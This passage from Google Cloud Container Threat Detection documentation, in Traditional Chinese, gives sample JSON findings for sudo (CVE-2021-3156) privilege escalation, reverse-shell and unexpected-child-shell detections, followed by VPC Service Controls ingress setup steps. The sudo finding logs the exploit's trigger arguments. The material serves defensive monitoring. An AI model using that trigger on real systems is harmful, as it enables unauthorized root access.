"cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_polkit_local_privilege_escalation_vulnerability"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0004/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af/detection"         }       ],       "relatedFindingUri": {}     }   } }

提權：Sudo 可能提權 (CVE-2021-3156)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)",     "chokepoint": {},     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2025-07-22T00:07:48Z"       }     ],     "createTime": "2025-07-22T00:07:54.853Z",     "database": {},     "dataProtectionKeyGovernance": {},     "eventTime": "2025-07-22T00:07:54.627Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/770715367326",           "timestamp": "2025-07-22T00:07:48.052030557Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "EXPLOITATION_FOR_PRIVILEGE_ESCALATION"       ],       "additionalTactics": [         "DEFENSE_EVASION",         "PRIVILEGE_ESCALATION",         "RESOURCE_DEVELOPMENT"       ],       "additionalTechniques": [         "ABUSE_ELEVATION_CONTROL_MECHANISM",         "ABUSE_ELEVATION_CONTROL_MECHANISM_SUDO_AND_SUDO_CACHING",         "OBTAIN_CAPABILITIES",         "OBTAIN_CAPABILITIES_VULNERABILITIES"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"sudo\"",           "size": "142312",           "sha256": "1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af",           "hashedSize": "142312",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"sudo\"",           "\"-s\"",           "\"123\\\\\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-sudo-potential-2025-07-21-23-57-06-utc\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HOME\"",             "val": "\"/home/ubuntu\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"TERM\"",             "val": "\"xterm\""           },           {             "name": "\"SHLVL\"",             "val": "\"1\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"_\"",             "val": "\"/tmp/sudo\""           }         ],         "pid": "9",         "parentPid": "1",         "userId": "0"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_sudo_potential_privilege_escalation"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0004/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af/detection"         }       ],       "relatedFindingUri": {}     }   } }

反向殼層

{   "finding": {     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "state": "ACTIVE",     "category": "Reverse Shell",     "sourceProperties": {       "Reverse_Shell_Stdin_Redirection_Src_Ip": "SOURCE_IP_ADDRESS",       "Environment_Variables": ["HOSTNAME\u003dreverse-shell",       "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",       "KUBERNETES_PORT_443_TCP_PORT\u003d443", "PYTHONUNBUFFERED\u003d1",       "KUBERNETES_SERVICE_PORT\u003d443",       "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS",       "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p       ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"       , "PWD\u003d/home/vmagent/app", "LANG\u003dC.UTF-8", "SHLVL\u003d1",       "HOME\u003d/root", "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",       "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",       "DEBIAN_FRONTEND\u003dnoninteractive", "PORT\u003d8080",       "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",       "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT", "_\u003d/bin/echo"],       "Container_Image_Uri": "CONTAINER_IMAGE_URI",       "Process_Binary_Fullpath": "BINARY_PATH",       "Container_Creation_Timestamp": {         "seconds": 1.617989861E9,         "nanos": 0.0       },       "Pod_Name": "POD_NAME",       "Container_Name": "CONTAINER_NAME",       "Process_Arguments": ["BINARY_PATH", "BINARY_NAME"],       "Pid": 15.0,       "Reverse_Shell_Stdin_Redirection_Dst_Port": DESTINATION_PORT,       "Container_Image_Id": "CONTAINER_IMAGE_ID",       "Reverse_Shell_Stdin_Redirection_Dst_Ip": "DESTINATION_IP_ADDRESS",       "Pod_Namespace": "default",       "VM_Instance_Name": "INSTANCE_ID",       "Reverse_Shell_Stdin_Redirection_Src_Port": SOURCE_PORT,       "description": "A process started with stream redirection to a remote       connected socket. With a reverse shell, an attacker can communicate from a       compromised workload to an attacker-controlled machine. The attacker can       then command and control the workload to perform desired actions, for       example as part of a botnet.",       "Parent_Pid": 1.0,       "Process_Creation_Timestamp": {         "seconds": 1.61798989E9,         "nanos": 6.16573691E8       }     },     "securityMarks": {       "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"     },     "eventTime": "2021-04-09T17:38:10.904Z",     "createTime": "2021-04-09T17:38:15.486Z",     "propertyDataTypes": {       "Container_Image_Id": {         "primitiveDataType": "STRING"       },       "Container_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Pod_Namespace": {         "primitiveDataType": "STRING"       },       "Environment_Variables": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "Reverse_Shell_Stdin_Redirection_Dst_Ip": {         "primitiveDataType": "STRING"       },       "description": {         "primitiveDataType": "STRING"       },       "Process_Arguments": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "Pid": {         "primitiveDataType": "NUMBER"       },       "Reverse_Shell_Stdin_Redirection_Src_Ip": {         "primitiveDataType": "STRING"       },       "Container_Image_Uri": {         "primitiveDataType": "STRING"       },       "Reverse_Shell_Stdin_Redirection_Dst_Port": {         "primitiveDataType": "NUMBER"       },       "Pod_Name": {         "primitiveDataType": "STRING"       },       "Process_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Reverse_Shell_Stdin_Redirection_Src_Port": {         "primitiveDataType": "NUMBER"       },       "Parent_Pid": {         "primitiveDataType": "NUMBER"       },       "VM_Instance_Name": {         "primitiveDataType": "STRING"       },       "Container_Name": {         "primitiveDataType": "STRING"       },       "Process_Binary_Fullpath": {         "primitiveDataType": "STRING"       }     },     "severity": "CRITICAL",     "workflowState": "NEW",     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "projectDisplayName": "PROJECT_ID",     "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parentDisplayName": "PROJECT_ID",     "type": "google.container.Cluster"   } }

非預期的子殼層

{   "finding": {     "access": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Unexpected Child Shell",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_URI",         "imageId": "CONTAINER_IMAGE_ID"       }     ],     "createTime": "2023-06-29T17:34:13.765Z",     "database": {},     "description": "A process should not normally create child shell processes, spawn a child shell process.",     "eventTime": "2023-06-29T17:34:13.492Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "ns": "default",           "name": "CONTAINER_NAME",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_URI",               "imageId": CONTAINER_IMAGE_ID"             }           ]         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER"       ]     },     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/home/vmagent/app/temp/dash\"",           "size": "31376",           "sha256": "31351885b07570f450f57bd19cf28ff4310b8774a1c2580c3c7c9e7336c8467e",           "hashedSize": "31376",           "partiallyHashed": false         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"./temp/dash\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-unexpected-child-shell-3f50de2ab54bac1b\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://10.52.113.1:443\""           },           {             "name": "\"PYTHONUNBUFFERED\"",             "val": "\"1\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"10.52.113.1\""           },           {             "name": "\"PATH\"",             "val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"PWD\"",             "val": "\"/home/vmagent/app\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"SHLVL\"",             "val": "\"1\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"PORT\"",             "val": "\"8080\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"10.52.113.1\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://10.52.113.1:443\""           },           {             "name": "\"_\"",             "val": "\"./temp/dash\""           }         ],         "pid": "15",         "parentPid": "14"       },       {         "binary": {           "path": "\"/home/vmagent/app/temp/consul\"",           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"./temp/consul\""         ],         "argumentsTruncated": false,         "pid": "14",         "parentPid": "13"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "display_name": "CLUSTER_ID",     "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "project_display_name": "PROJECT_ID",     "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parent_display_name": "PROJECT_ID",     "type": "google.container.Cluster",     "folders": []   },   "sourceProperties": {     "Process_Arguments": [       "./temp/dash"     ],     "Pid": 15,     "Process_Creation_Timestamp": {       "seconds": 1688060050,       "nanos": 207040864     },     "Container_Image_Uri": "CONTAINER_IMAGE_URI",     "Process_Binary_Fullpath": "/home/vmagent/app/temp/dash",     "VM_Instance_Name": "INSTANCE_ID",     "Pod_Name": "POD_NAME",     "Pod_Namespace": "default",     "Container_Name": "CONTAINER_NAME",     "Container_Image_Id": "CONTAINER_IMAGE_ID",     "Container_Creation_Timestamp": {       "seconds": 1688060050,       "nanos": 0     },     "Parent_Pid": 14,     "Environment_Variables": [       "HOSTNAME=ktd-test-unexpected-child-shell-3f50de2ab54bac1b",       "KUBERNETES_PORT_443_TCP_PORT=443",       "KUBERNETES_PORT=tcp://10.52.113.1:443",       "PYTHONUNBUFFERED=1",       "KUBERNETES_SERVICE_PORT=443",       "KUBERNETES_SERVICE_HOST=10.52.113.1",       "PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",       "PWD=/home/vmagent/app",       "LANG=C.UTF-8",       "SHLVL=1",       "HOME=/root",       "KUBERNETES_PORT_443_TCP_PROTO=tcp",       "KUBERNETES_SERVICE_PORT_HTTPS=443",       "DEBIAN_FRONTEND=noninteractive",       "PORT=8080",       "KUBERNETES_PORT_443_TCP_ADDR=10.52.113.1",       "KUBERNETES_PORT_443_TCP=tcp://10.52.113.1:443",       "_=./temp/dash"     ]   } }

掃描受服務範圍保護的專案

如果您在 2023 年 12 月 7 日後啟用機構層級的 Security Command Center，且有服務範圍會封鎖特定專案和服務的存取權，則必須授予 Container Threat Detection 服務帳戶該服務範圍的連入存取權。否則，Container Threat Detection 無法產生與受保護專案和服務相關的調查結果。

如果是機構層級啟用，服務帳戶 ID 是電子郵件地址，格式如下：

service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

在上述範例中，請將 ORGANIZATION_ID 替換為貴機構的數字 ID。

如果叢集位於 VPC Service Controls 服務範圍內，請確認 containerthreatdetection.googleapis.com (Container Threat Detection API) 列為「可存取的服務」。詳情請參閱「服務安全防護範圍總覽」。

如要授予服務帳戶服務範圍的連入存取權，請按照下列步驟操作。

前往 VPC Service Controls。

前往 VPC Service Controls
在工具列中選取您的 Google Cloud 機構。
在下拉式清單中，選取包含要授予存取權的服務範圍的存取政策。

與存取權政策相關聯的服務範圍會顯示在清單中。
按一下服務安全防護範圍的名稱。
按一下「編輯範圍」。
在導覽選單中，按一下「Ingress Policy」(連入政策)。
按一下 [新增規則]。
請按照下列步驟設定規則：

API 用戶端的「來源」屬性
1. 在「來源」中，選取「所有來源」。
2. 在「身分」部分，選取「所選身分」。
3. 在「新增使用者/服務帳戶」欄位中，按一下「選取」。
4. 輸入服務帳戶的電子郵件地址。如果您同時擁有機構層級和專案層級的服務帳戶，請一併新增。
5. 按一下 [儲存]。
GCP 服務/資源的 TO 屬性
1. 在「Project」(專案) 部分，選取「All projects」(所有專案)。
2. 在「服務」中，選取「所有服務」，或選取出現 VPC Service Controls 違規事項的特定服務。
注意： 您需要新增的服務取決於 Security Command Center 方案的範圍，以及您想監控的專案中任何部署或設定變更。

如果服務範圍限制存取必要服務，Container Threat Detection 就無法產生該服務的調查結果。
按一下導覽選單中的「儲存」。

詳情請參閱「設定輸入和輸出政策」。

後續步驟

進一步瞭解 Container Threat Detection 的運作方式。
瞭解如何調查及制定威脅因應計畫。